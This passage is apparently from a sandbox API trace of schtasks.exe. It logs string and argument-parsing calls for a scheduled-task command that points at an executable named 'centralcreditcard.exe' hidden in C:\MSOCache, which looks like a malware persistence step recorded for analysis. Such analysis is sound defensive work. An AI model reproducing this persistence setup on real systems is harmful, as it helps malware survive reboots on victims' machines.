0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0081.712] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.713] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0081.714] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0081.715] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0081.715] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0081.715] GetLastError () returned 0x0 [0081.715] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.715] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.715] SetLastError (dwErrCode=0x0) [0081.715] SetLastError (dwErrCode=0x0) [0081.715] lstrlenW (lpString="/rl") returned 3 [0081.715] lstrlenW (lpString="-/") returned 2 [0081.715] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.715] lstrlenW (lpString="create") returned 6 [0081.715] lstrlenW (lpString="create") returned 6 [0081.715] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.715] lstrlenW (lpString="rl") returned 2 [0081.715] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.715] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.715] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.715] lstrlenW (lpString="|create|") returned 8 [0081.715] lstrlenW (lpString="|rl|") returned 4 [0081.715] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0081.715] SetLastError (dwErrCode=0x490) [0081.715] lstrlenW (lpString="?") returned 1 [0081.715] lstrlenW (lpString="?") returned 1 [0081.715] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.715] lstrlenW (lpString="rl") returned 2 [0081.715] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.715] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|?|") returned 3 [0081.715] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.715] lstrlenW (lpString="|?|") returned 3 [0081.716] lstrlenW (lpString="|rl|") returned 4 [0081.716] SetLastError (dwErrCode=0x490) [0081.716] lstrlenW (lpString="s") returned 1 [0081.716] lstrlenW (lpString="s") returned 1 [0081.716] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.716] lstrlenW (lpString="rl") returned 2 [0081.716] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.716] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|s|") returned 3 [0081.716] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.716] lstrlenW (lpString="|s|") returned 3 [0081.716] lstrlenW (lpString="|rl|") returned 4 [0081.716] SetLastError (dwErrCode=0x490) [0081.716] lstrlenW (lpString="u") returned 1 [0081.716] lstrlenW (lpString="u") returned 1 [0081.716] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.716] lstrlenW (lpString="rl") returned 2 [0081.716] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.716] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|u|") returned 3 [0081.716] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.716] lstrlenW (lpString="|u|") returned 3 [0081.716] lstrlenW (lpString="|rl|") returned 4 [0081.716] SetLastError (dwErrCode=0x490) [0081.716] lstrlenW (lpString="p") returned 1 [0081.716] lstrlenW (lpString="p") returned 1 [0081.716] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.716] lstrlenW (lpString="rl") returned 2 [0081.716] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.716] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|p|") returned 3 [0081.717] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.717] lstrlenW (lpString="|p|") returned 3 [0081.717] lstrlenW (lpString="|rl|") returned 4 [0081.717] SetLastError (dwErrCode=0x490) [0081.717] lstrlenW (lpString="ru") returned 2 [0081.717] lstrlenW (lpString="ru") returned 2 [0081.717] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.717] lstrlenW (lpString="rl") returned 2 [0081.717] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.717] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ru|") returned 4 [0081.717] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.717] lstrlenW (lpString="|ru|") returned 4 [0081.717] lstrlenW (lpString="|rl|") returned 4 [0081.717] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0081.717] SetLastError (dwErrCode=0x490) [0081.717] lstrlenW (lpString="rp") returned 2 [0081.717] lstrlenW (lpString="rp") returned 2 [0081.717] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.717] lstrlenW (lpString="rl") returned 2 [0081.717] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.717] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rp|") returned 4 [0081.717] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.717] lstrlenW (lpString="|rp|") returned 4 [0081.717] lstrlenW (lpString="|rl|") returned 4 [0081.717] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0081.717] SetLastError (dwErrCode=0x490) [0081.717] lstrlenW (lpString="sc") returned 2 [0081.718] lstrlenW (lpString="sc") returned 2 [0081.718] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.718] lstrlenW (lpString="rl") returned 2 [0081.718] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.718] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.718] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.718] lstrlenW (lpString="|sc|") returned 4 [0081.718] lstrlenW (lpString="|rl|") returned 4 [0081.718] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0081.718] SetLastError (dwErrCode=0x490) [0081.718] lstrlenW (lpString="mo") returned 2 [0081.718] lstrlenW (lpString="mo") returned 2 [0081.718] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.718] lstrlenW (lpString="rl") returned 2 [0081.718] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.718] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|mo|") returned 4 [0081.718] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.718] lstrlenW (lpString="|mo|") returned 4 [0081.718] lstrlenW (lpString="|rl|") returned 4 [0081.718] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0081.718] SetLastError (dwErrCode=0x490) [0081.718] lstrlenW (lpString="d") returned 1 [0081.718] lstrlenW (lpString="d") returned 1 [0081.718] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.718] lstrlenW (lpString="rl") returned 2 [0081.718] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.719] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|d|") returned 3 [0081.719] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.719] lstrlenW (lpString="|d|") returned 3 [0081.719] lstrlenW (lpString="|rl|") returned 4 [0081.719] SetLastError (dwErrCode=0x490) [0081.719] lstrlenW (lpString="m") returned 1 [0081.719] lstrlenW (lpString="m") returned 1 [0081.719] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.719] lstrlenW (lpString="rl") returned 2 [0081.719] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.719] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|m|") returned 3 [0081.719] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.719] lstrlenW (lpString="|m|") returned 3 [0081.719] lstrlenW (lpString="|rl|") returned 4 [0081.719] SetLastError (dwErrCode=0x490) [0081.719] lstrlenW (lpString="i") returned 1 [0081.719] lstrlenW (lpString="i") returned 1 [0081.719] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.719] lstrlenW (lpString="rl") returned 2 [0081.719] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.719] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|i|") returned 3 [0081.719] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.719] lstrlenW (lpString="|i|") returned 3 [0081.719] lstrlenW (lpString="|rl|") returned 4 [0081.719] SetLastError (dwErrCode=0x490) [0081.719] lstrlenW (lpString="tn") returned 2 [0081.719] lstrlenW (lpString="tn") returned 2 [0081.719] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.720] lstrlenW (lpString="rl") returned 2 [0081.720] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.720] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.720] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.720] lstrlenW (lpString="|tn|") returned 4 [0081.720] lstrlenW (lpString="|rl|") returned 4 [0081.720] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0081.720] SetLastError (dwErrCode=0x490) [0081.720] lstrlenW (lpString="tr") returned 2 [0081.720] lstrlenW (lpString="tr") returned 2 [0081.720] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.720] lstrlenW (lpString="rl") returned 2 [0081.720] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.720] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.720] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.720] lstrlenW (lpString="|tr|") returned 4 [0081.720] lstrlenW (lpString="|rl|") returned 4 [0081.720] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0081.720] SetLastError (dwErrCode=0x490) [0081.720] lstrlenW (lpString="st") returned 2 [0081.720] lstrlenW (lpString="st") returned 2 [0081.720] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.720] lstrlenW (lpString="rl") returned 2 [0081.720] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.720] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|st|") returned 4 [0081.720] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.721] lstrlenW (lpString="|st|") returned 4 [0081.721] lstrlenW (lpString="|rl|") returned 4 [0081.721] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0081.721] SetLastError (dwErrCode=0x490) [0081.721] lstrlenW (lpString="sd") returned 2 [0081.721] lstrlenW (lpString="sd") returned 2 [0081.722] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.722] lstrlenW (lpString="rl") returned 2 [0081.722] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.722] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sd|") returned 4 [0081.722] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.722] lstrlenW (lpString="|sd|") returned 4 [0081.722] lstrlenW (lpString="|rl|") returned 4 [0081.722] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0081.722] SetLastError (dwErrCode=0x490) [0081.722] lstrlenW (lpString="ed") returned 2 [0081.722] lstrlenW (lpString="ed") returned 2 [0081.722] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.722] lstrlenW (lpString="rl") returned 2 [0081.723] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.723] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ed|") returned 4 [0081.723] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.723] lstrlenW (lpString="|ed|") returned 4 [0081.723] lstrlenW (lpString="|rl|") returned 4 [0081.723] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0081.723] SetLastError (dwErrCode=0x490) [0081.723] lstrlenW (lpString="it") returned 2 [0081.723] lstrlenW (lpString="it") returned 2 [0081.723] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.723] lstrlenW (lpString="rl") returned 2 [0081.723] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.723] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|it|") returned 4 [0081.723] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.723] lstrlenW (lpString="|it|") returned 4 [0081.723] lstrlenW (lpString="|rl|") returned 4 [0081.723] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0081.723] SetLastError (dwErrCode=0x490) [0081.723] lstrlenW (lpString="et") returned 2 [0081.723] lstrlenW (lpString="et") returned 2 [0081.723] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.723] lstrlenW (lpString="rl") returned 2 [0081.723] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.723] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|et|") returned 4 [0081.723] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.723] lstrlenW (lpString="|et|") returned 4 [0081.724] lstrlenW (lpString="|rl|") returned 4 [0081.724] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0081.724] SetLastError (dwErrCode=0x490) [0081.724] lstrlenW (lpString="k") returned 1 [0081.724] lstrlenW (lpString="k") returned 1 [0081.724] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.724] lstrlenW (lpString="rl") returned 2 [0081.724] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.724] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|k|") returned 3 [0081.724] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.724] lstrlenW (lpString="|k|") returned 3 [0081.724] lstrlenW (lpString="|rl|") returned 4 [0081.724] SetLastError (dwErrCode=0x490) [0081.724] lstrlenW (lpString="du") returned 2 [0081.724] lstrlenW (lpString="du") returned 2 [0081.724] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.724] lstrlenW (lpString="rl") returned 2 [0081.724] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.724] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|du|") returned 4 [0081.724] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.724] lstrlenW (lpString="|du|") returned 4 [0081.724] lstrlenW (lpString="|rl|") returned 4 [0081.724] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0081.725] SetLastError (dwErrCode=0x490) [0081.725] lstrlenW (lpString="ri") returned 2 [0081.725] lstrlenW (lpString="ri") returned 2 [0081.725] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.725] lstrlenW (lpString="rl") returned 2 [0081.725] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.725] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ri|") returned 4 [0081.725] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.725] lstrlenW (lpString="|ri|") returned 4 [0081.725] lstrlenW (lpString="|rl|") returned 4 [0081.725] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0081.725] SetLastError (dwErrCode=0x490) [0081.725] lstrlenW (lpString="z") returned 1 [0081.725] lstrlenW (lpString="z") returned 1 [0081.725] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.725] lstrlenW (lpString="rl") returned 2 [0081.725] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.725] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|z|") returned 3 [0081.725] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.725] lstrlenW (lpString="|z|") returned 3 [0081.725] lstrlenW (lpString="|rl|") returned 4 [0081.725] SetLastError (dwErrCode=0x490) [0081.725] lstrlenW (lpString="f") returned 1 [0081.725] lstrlenW (lpString="f") returned 1 [0081.725] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.725] lstrlenW (lpString="rl") returned 2 [0081.726] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.726] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|f|") returned 3 [0081.726] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.726] lstrlenW (lpString="|f|") returned 3 [0081.726] lstrlenW (lpString="|rl|") returned 4 [0081.726] SetLastError (dwErrCode=0x490) [0081.726] lstrlenW (lpString="v1") returned 2 [0081.726] lstrlenW (lpString="v1") returned 2 [0081.726] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.726] lstrlenW (lpString="rl") returned 2 [0081.726] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.726] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|v1|") returned 4 [0081.726] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.726] lstrlenW (lpString="|v1|") returned 4 [0081.726] lstrlenW (lpString="|rl|") returned 4 [0081.726] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0081.726] SetLastError (dwErrCode=0x490) [0081.726] lstrlenW (lpString="xml") returned 3 [0081.726] lstrlenW (lpString="xml") returned 3 [0081.726] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.726] lstrlenW (lpString="rl") returned 2 [0081.726] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.726] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|xml|") returned 5 [0081.726] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rl|") returned 4 [0081.726] lstrlenW (lpString="|xml|") returned 5 [0081.726] lstrlenW (lpString="|rl|") returned 4 [0081.726] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0081.727] SetLastError (dwErrCode=0x490) [0081.727] lstrlenW (lpString="ec") returned 2 [0081.727] lstrlenW (lpString="ec") returned 2 [0081.727] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.727] lstrlenW (lpString="rl") returned 2 [0081.727] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.727] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ec|") 